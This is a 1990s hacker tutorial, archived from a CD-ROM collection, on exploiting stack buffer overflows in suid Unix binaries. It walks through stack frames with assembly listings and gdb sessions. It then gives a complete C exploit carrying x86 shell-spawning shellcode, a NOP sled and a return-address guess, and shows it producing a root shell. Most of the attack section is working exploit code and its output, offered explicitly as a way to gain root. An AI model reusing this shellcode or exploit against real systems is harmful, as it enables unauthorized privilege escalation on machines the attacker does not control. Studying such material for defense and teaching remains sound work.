home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / overflow_tutorial.txt < prev    next >
Encoding:
Text File  |  1998-11-21  |  13.1 KB  |  396 lines
  1. An Introduction to executing arbituary code via stack overflows
  2. ---------------------------------------------------------------
  3.  
  4. Before we delve into the technical details here's a little background.  
  5.  
  6. Suid/sgid binaries
  7. ------------------
  8.  
  9. one of the problems with multiuser operating systems is that you will 
  10. eventually need to allow users to perform functions which require root 
  11. privledges -- be it changing a password, gecos field information, or 
  12. accessing restricted devices.  Rather than give the user complete control 
  13. over the system by giving them root privledges you can make a program 
  14. that will do what the user wants as root and thus they cannot do anything 
  15. that my comprimise system security.  You do this with a suid/sgid binary:
  16.  
  17. -rwsr-xr-x   1 root     root        44705 Jul  1 00:49 /usr/bin/passwd
  18.  
  19. when the user (whoever he/she may be) executes /usr/bin/passwd the user's 
  20. uid/gid is changed to root and the binary is executed.  After completing 
  21. execution the user's uid/gid is changed back to what it was.  
  22.  
  23. Unfortunately people who write suid/sgid bins have to be very careful to 
  24. not execute anything that the user may comprimise security with.  One of 
  25. the things that suid/sgid writers have to be careful of is copying data 
  26. into buffers without a limit on the number of characters that may be 
  27. copied.  This is where we come in.  By copying more data than the buffer 
  28. can contain we can overwrite important parts of the stack and execute 
  29. arbituary code.
  30.  
  31.  
  32. Overflow sploits
  33. ----------------
  34.  
  35. ok.. what is an overflow sploit?  well.. lets have a look at some code:
  36.  
  37.         void main(int argc, char **argv, char **envp) { 
  38.         char s[1024];
  39.           strcpy(s,getenv("TERM"));
  40.         }
  41.  
  42. this is a really common peice of code.. and many a sploit is based around 
  43. just this kind of oversight.  So exactly what is wrong with this and how 
  44. can we exploit it?  ok.. lets have a look, suppose this file is called 
  45. "simple".
  46.  
  47. $ export TERM="01234567890123456789012345678901234567890123456789012345678
  48. 90123456789012345678901234567890123456789012345678901234567890123456789012
  49. 34567890123456789012345678901234567890123456789012345678901234567890123456
  50. 78901234567890123456789012345678901234567890123456789012345678901234567890
  51. 12345678901234567890123456789012345678901234567890123456789012345678901234
  52. 56789012345678901234567890123456789012345678901234567890123456789012345678
  53. 90123456789012345678901234567890123456789012345678901234567890123456789012
  54. 34567890123456789012345678901234567890123456789012345678901234567890123456
  55. 78901234567890123456789012345678901234567890123456789012345678901234567890
  56. 12345678901234567890123456789012345678901234567890123456789012345678901234
  57. 56789012345678901234567890123456789012345678901234567890123456789012345678
  58. 90123456789012345678901234567890123456789012345678901234567890123456789012
  59. 34567890123456789012345678901234567890123456789012345678901234567890123456
  60. 78901234567890123456789012345678901234567890123456789012345678901234567890
  61. 123456789"
  62. $ ./simple
  63. Segmentation fault
  64.  
  65. In case you missed that first bit.. we're setting the variable TERM to 
  66. over 1024 characters.  We then execute simple and it gives us a 
  67. segmentation fault.  Why?  Well, to understand that we need to know 
  68. exactly what is happening.  Do the following:
  69.  
  70. $ cat simple.c
  71. #include <simple.h>
  72. #include <stdlib.h>
  73. void main(int argc,char **argv,char **envp) {
  74. char s[1024];
  75.   strcpy(s,getenv("TERM"));
  76. }
  77. $ gcc simple.c -S
  78. $ cat simple.s
  79.         .file   "simple.c"
  80.         .version        "01.01"
  81. gcc2_compiled.:
  82. .section        .rodata
  83. .LC0:
  84.         .string "TERM"
  85. .text
  86.         .align 16
  87. .globl main
  88.         .type    main,@function
  89. main:
  90.         pushl %ebp
  91.         movl %esp,%ebp
  92.         subl $1024,%esp
  93.         pushl $.LC0
  94.         call getenv
  95.         addl $4,%esp
  96.         movl %eax,%eax
  97.         pushl %eax
  98.         leal -1024(%ebp),%eax
  99.         pushl %eax
  100.         call strcpy
  101.         addl $8,%esp
  102. .L1:
  103.         movl %ebp,%esp
  104.         popl %ebp
  105.         ret
  106. .Lfe1:
  107.         .size    main,.Lfe1-main
  108.         .ident  "GCC: (GNU) 2.7.0"
  109. $
  110.  
  111. ok.. so that's a bit and now we need to know something.  We need to know 
  112. a little x86 asm.. That's a little beyond the scope of this article so 
  113. you might want to check out a book or two..  Anyways.. here's the 
  114. important bits of that output:
  115.  
  116.         pushl %ebp
  117.         movl %esp,%ebp
  118.         subl $1024,%esp
  119.     ..
  120.     ret
  121.  
  122. The first two lines are called "setting up a stack frame" and is a 
  123. standard part of code compiled by a c compiler.  The third line here is 
  124. allocating space on the stack for the "s" variable in our c code back up 
  125. there.  From this we can get an idea about what the stack looks like:
  126.  
  127.     +-------------+ -1024(%ebp)
  128.     |  1024 bytes |                  (s variable)
  129.     +-------------+     0(%ebp)
  130.     |     ebp     |
  131.     +-------------+     4(%ebp)
  132.     |   ret addr  |
  133.     +-------------+     8(%ebp)
  134.     |     argc    |
  135.     +-------------+    12(%ebp)
  136.     |     argv    |
  137.     +-------------+    16(%ebp)
  138.     |     envp    |
  139.     +-------------+
  140.  
  141. ok.. so what happens when we do a strlen of the environment variable TERM 
  142. that is bigger than 1024 bytes?  We start copying to -1024(%ebp) and go
  143. to -1023(%ebp) and so on and we SHOULD stop before 0(%ebp) but we dont, 
  144. we keep going and copy over the value of ebp stored on the stack and the 
  145. return address.  So what happens when we get to that ret down the 
  146. bottom?  Well the value of the return address has been overwritten and 
  147. destroyed so it ends up jumping into the middle of nowhere, that is, 
  148. unless we make it jump to somewhere useful.
  149.  
  150. GDB - your new friend
  151. ---------------------
  152.  
  153. GDB or the GNU symbolic debugger.  Using this useful util we can actually 
  154. look at what happens.  Our previous example:
  155.  
  156. $ export TERM="01234567890123456789012345678901234567890123456789012345678
  157. 90123456789012345678901234567890123456789012345678901234567890123456789012
  158. 34567890123456789012345678901234567890123456789012345678901234567890123456
  159. 78901234567890123456789012345678901234567890123456789012345678901234567890
  160. 12345678901234567890123456789012345678901234567890123456789012345678901234
  161. 56789012345678901234567890123456789012345678901234567890123456789012345678
  162. 90123456789012345678901234567890123456789012345678901234567890123456789012
  163. 34567890123456789012345678901234567890123456789012345678901234567890123456
  164. 78901234567890123456789012345678901234567890123456789012345678901234567890
  165. 12345678901234567890123456789012345678901234567890123456789012345678901234
  166. 56789012345678901234567890123456789012345678901234567890123456789012345678
  167. 90123456789012345678901234567890123456789012345678901234567890123456789012
  168. 34567890123456789012345678901234567890123456789012345678901234567890123456
  169. 78901234567890123456789012345678901234567890123456789012345678901234567890
  170. 123456789"
  171. $ gdb simple
  172. GDB is free software and you are welcome to distribute copies of it
  173.  under certain conditions; type "show copying" to see the conditions.
  174. There is absolutely no warranty for GDB; type "show warranty" for details.
  175. GDB 4.14 (i486-slackware-linux),
  176. Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...
  177. (gdb) break main
  178. Breakpoint 1 at 0x80004e9
  179. (gdb) run
  180. Starting program: simple
  181.  
  182. Breakpoint 1, 0x80004e9 in main ()
  183. (gdb) disass
  184. Dump of assembler code for function main:
  185. 0x80004e0 <main>:       pushl  %ebp
  186. 0x80004e1 <main+1>:     movl   %esp,%ebp
  187. 0x80004e3 <main+3>:     subl   $0x400,%esp
  188. 0x80004e9 <main+9>:     pushl  $0x8000548
  189. 0x80004ee <main+14>:    call   0x80003d8 <getenv>
  190. 0x80004f3 <main+19>:    addl   $0x4,%esp
  191. 0x80004f6 <main+22>:    movl   %eax,%eax
  192. 0x80004f8 <main+24>:    pushl  %eax
  193. 0x80004f9 <main+25>:    leal   0xfffffc00(%ebp),%eax
  194. 0x80004ff <main+31>:    pushl  %eax
  195. 0x8000500 <main+32>:    call   0x80003c8 <strcpy>
  196. 0x8000505 <main+37>:    addl   $0x8,%esp
  197. 0x8000508 <main+40>:    movl   %ebp,%esp
  198. 0x800050a <main+42>:    popl   %ebp
  199. 0x800050b <main+43>:    ret
  200. 0x800050c <main+44>:    nop
  201. 0x800050d <main+45>:    nop
  202. 0x800050e <main+46>:    nop
  203. 0x800050f <main+47>:    nop
  204. End of assembler dump.
  205. (gdb) break *0x800050b
  206. Breakpoint 2 at 0x800050b
  207. (gdb) cont
  208. Continuing.
  209.  
  210. Breakpoint 2, 0x800050b in main ()
  211. (gdb) stepi
  212. 0x37363534 in __fpu_control ()
  213. (gdb) stepi
  214.  
  215. Program received signal SIGSEGV, Segmentation fault.
  216. 0x37363534 in __fpu_control ()
  217. (gdb)
  218.  
  219. ok.. so we get a segmentation fault.. why? well cause there's no code at 
  220. address 0x37363534.  lets have a look at the stack:
  221.  
  222. $ gdb simple
  223. GDB is free software and you are welcome to distribute copies of it
  224.  under certain conditions; type "show copying" to see the conditions.
  225. There is absolutely no warranty for GDB; type "show warranty" for details.
  226. GDB 4.14 (i486-slackware-linux),
  227. Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...
  228. (gdb) break main
  229. Breakpoint 1 at 0x80004e9
  230. (gdb) run
  231. Starting program: simple
  232.  
  233. Breakpoint 1, 0x80004e9 in main ()
  234. (gdb) info registers
  235. eax            0x0      0
  236. ecx            0xc      12
  237. edx            0x0      0
  238. ebx            0x0      0
  239. esp            0xbffff800       0xbffff800
  240. ebp            0xbffffc04       0xbffffc04
  241. esi            0x50000000       1342177280
  242. edi            0x50001df0       1342184944
  243. eip            0x80004ee        0x80004ee
  244. ps             0x382    898
  245. cs             0x23     35
  246. ss             0x2b     43
  247. ds             0x2b     43
  248. es             0x2b     43
  249. fs             0x2b     43
  250. gs             0x2b     43
  251. (gdb) x/5xw 0xbffffc04
  252. 0xbffffc04 <__fpu_control+3087001064>:  0xbffff8e8      0x08000495      
  253. 0x00000001      0xbffffc18
  254. 0xbffffc14 <__fpu_control+3087001080>:  0xbffffc20
  255. (gdb) 
  256.  
  257. the first value here (0xbffff8e8) is the value of ebp before it was 
  258. pushed onto the stack.  The next value is the return address.  The 
  259. 0x00000001 is argc and 0xbffffc18 is argv and the 0xbffffc20 is envp.  So 
  260. if we were to copy 1024 + 8 bytes we could overwrite the return address 
  261. and make it jump back to our code (that we also copy there).  So lets 
  262. skip to the chase.  If we set TERM to:  
  263.  
  264.   <lots of nops><some code to execute a shell><a return address>
  265.  
  266. when we get to the ret it'll return to the nops and continue down to the 
  267. code which executes a shell.  The only problem we have now is what the 
  268. return address should be.  The perfect return address would be 0xbffff804 
  269. but it's rather unlikely that we would have that information when we 
  270. write the sploit so we try to estimate it.  Here is the sploit for our 
  271. "simple" example:
  272.  
  273.  
  274. long get_esp(void)
  275. {
  276. __asm__("movl %esp,%eax\n");
  277. }
  278.  
  279. char *realegg =
  280. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  281. "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  282. "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  283.  
  284.  
  285. /*char *realegg="\xeb\xfe\0";*/
  286.  
  287. char s[1034];
  288. int i;
  289. char *s1;
  290.  
  291. #define STACKFRAME (0xc00 - 0x818)
  292.  
  293. void main(int argc,char **argv,char **envp) {
  294.   strcpy(s,"TERM=");
  295.   s1 = s+5;
  296.   while (s1<s+1028+5-strlen(realegg)) *(s1++)=0x90;
  297.   while (*realegg) *(s1++)=*(realegg++);
  298.   *((unsigned long *)s1)=get_esp()+16-1028-STACKFRAME;
  299.   printf("%08X\n",*((long *)s1));
  300.   s1+=4;
  301.   *s1=0;
  302.   putenv(s);
  303.   system("bash");
  304. }
  305.  
  306.  
  307. The first thing we do is copy TERM= into a string.  We then pad out the s 
  308. variable with nops and add the egg (the floating peice of code which 
  309. executes a shell) to the end of the variable and then add the return 
  310. address.  We then call putenv to set the variable and execute a shell.  
  311. We execute a shell rather than just calling "simple" so that we can use 
  312. gdb to debug it.  The "get_esp" routine gets the current value of esp 
  313. (which may change from machine to machine).  Lets have a look:
  314.  
  315. $ ./sploit
  316. BFFFF418
  317. bash$ ./simple
  318. bash$
  319.  
  320. nothing too amazing.. but have a look at this:
  321.  
  322. $ ls -l simple
  323. -rwsr-xr-x   1 root     root         4032 Oct  2 18:46 simple*
  324. $ ./sploit
  325. BFFFF418
  326. bash$ ./simple
  327. bash# 
  328.  
  329. we have root.  This is why we do overflow sploits.  
  330.  
  331. The only really tricky part about coding overflow sploits is getting the 
  332. STACK_FRAME define correct.  To aid us in this we use a little program 
  333. called whatesp:
  334.  
  335. long getesp() {
  336. __asm__("movl %esp,%eax");
  337. }
  338.  
  339. void main() {
  340.         printf("%08X\n",getesp()+4);
  341. }
  342.  
  343. when you execute whatesp it prints out the value of esp before the stack 
  344. frame is setup (before the pushl %ebp, movl %esp,%ebp).  So once you have 
  345. your sploit ready to rock do:
  346.  
  347. $ ./sploit
  348. BFFFF41C
  349. bash$ ./whatesp
  350. BFFFF818
  351.  
  352. the second value you see here BFFFF818 you will notice is the value used 
  353. in STACK_FRAME up there (0x818).  If you want to gdb and see the sploit 
  354. going:
  355.  
  356. $ ./sploit
  357. BFFFF418
  358. bash$ gdb whatesp
  359. GDB is free software and you are welcome to distribute copies of it
  360.  under certain conditions; type "show copying" to see the conditions.
  361. There is absolutely no warranty for GDB; type "show warranty" for details.
  362. GDB 4.14 (i486-slackware-linux),
  363. Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...
  364. (gdb) run
  365. Starting program: whatesp
  366. BFFFF7FC
  367.  
  368. Program exited with code 011.
  369. (gdb)
  370.  
  371. and replace the 0x818 value in the STACK_FRAME define with 0x7fc.  You 
  372. can then actually watch the sploit execute.  
  373.  
  374. That's all yall
  375. ---------------
  376.  
  377. That concludes the overflow tutorial.  To those of you who saw the first 
  378. version of this tutorial, I'm sorry the sploit didnt work.  That's what 
  379. happens when you give it to someone to look over and someone steals it 
  380. out of their homedir.
  381.  
  382. QuantumG
  383.  
  384.  
  385.  
  386.  
  387.  
  388.  
  389.  
  390.  
  391.  
  392.  
  393.  
  394.  
  395.  
  396.